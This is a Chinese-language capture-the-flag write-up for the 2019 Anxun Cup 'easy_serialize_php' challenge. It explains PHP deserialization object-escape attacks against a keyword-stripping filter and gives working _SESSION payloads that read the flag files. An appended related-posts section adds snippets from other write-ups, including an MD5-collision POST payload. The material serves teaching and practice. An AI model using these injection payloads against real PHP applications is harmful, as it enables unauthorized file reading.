[安洵杯 2019]easy_serialize_php

0x00 知识点

PHP反序列化的对象逃逸

任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
参考链接:
https://blog.csdn.net/a3320315/article/details/104118688/
过滤函数分为两种情况
第一种为关键词数增加

例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸

值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的结果为:

"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

键逃逸:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿得s:7:""之所以为空,是因为我们构造得键flagphp都是会被过滤得,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去~~

0x01 解题

回到题目,我们首先看源码

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
正常传img参数进去会被sha1加密,我们应该用别的方法控制$_SESSION中的参数。
本来挺好的序列化的字符串,按某种去掉了一些关键字,本身就不对,本身就涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。之前有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了,
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。。

extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性

根据源码,我们先对f传参phpinfo

构造payload来对
d0g3_f1ag.php读取。

;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

解释一下:
这里首先phpflagphpflag会被过滤为空,吃掉一部分值

$serialize_info的内容为

a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";

刚好把后面多余的img部分截断掉

payload:

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

读取/d0g3_fllllllag
payload:

_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

参考链接:

https://www.jianshu.com/p/1f44650b0822
https://blog.csdn.net/a3320315/article/details/104118688/

原文地址:https://www.cnblogs.com/wangtanzhi/p/12261610.html

时间: 2024-07-30 18:24:28

[安洵杯 2019]easy_serialize_php的相关文章

刷题记录:[安洵杯 2019]easy_serialize_php

目录 刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化 刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

[安洵杯 2019]easy_web

0x00 知识点 md5强类型的绕过 方法比较固定: POST: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%

Upload To rce 安洵杯2019 这不是上传

0X0A 首先我们大致审计一下 三个源码文件 upload.php 上传页面 inlculde了helper extend了里面的helper 类型 大致是一个上传文件的函数 判断文件是否上传成功 如果失败则重新上传 再来看看helper里面的函数 看到了经典的反序列化magic _destruct()调用了 view_files 方法 view_file里面file_get_content函数可以造成rce或者任意文件读取 那么调用在哪里呐?? https://www.kancloud.cn/

2019 安洵杯 Re WP

0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax int v1; // edx int v2; // edx int v3; // ecx int v4; // ST08_4 char v6[4]; // [esp+310h] [ebp-7E0h] char Str; // [esp+700h] [ebp-3F0h] int v8; // [esp+

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019

由於這個是測試環境,你還是需要準備:IP段.域名等. 1.Windows Server 2019 創建 域(略)其實跟Windows Server 2016的方法一致,有時間我會再做一個教程出來. 2.下載 Exchange 2019(體驗版)http://blog.51cto.com/happynews/2153851 3.客戶端加入 域(略)其實跟你以往的經驗一致,有時間我會再做一個. 4.管理員啟動PowerShell 5.運行IIS的安裝命令( Install-WindowsFeatur

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(三)

1.插入Exchange2019的ISO文件,直接雙擊2.由於是測試環境,我們選擇不更新,下一步3.4.下一步5.同意,下一步6.默認,下一步7.黃色標記,下一步(由於我只有一台AD,所以直接選擇這兩個選項,邊緣傳輸服務器,你需要部署另外一台DC才可以,其實微軟公司是不建議我們AD上安裝任何的東西,由於是測試環境,無所謂啦~)8.默認下一步9.否,下一步(因為我的虛擬機沒有設置連接外網,所以不選擇這個)10.安裝11.檢查結果12.正式開始安裝,這個過程就要看你的硬件配置了--13.我以為它掛了

VMware 安裝 Windows 2019 預覽版

1.打開你的 VMware Workstation 2.典型,下一步 原文地址:http://blog.51cto.com/happynews/2154266

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(二)

1.Install-WindowsFeature RSAT-ADDS2.利用Exchange擴展AD架構,從Exchange2013開始,我發現只要通過UI的嚮導去拓展這個AD架構是100%失敗,所以微軟公司的產品,還是好大的Bug,直接差評,哈哈哈哈,好吧,我們直接PowerShell吧!( .\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms )Done3.( .\setup /IAcceptExchangeServerL

PHP反序列化中过滤函数使用不当导致的对象注入

1.漏洞产生的原因 ####  正常的反序列化语句是这样的 $a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}'; 但是如果写成这样 $b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";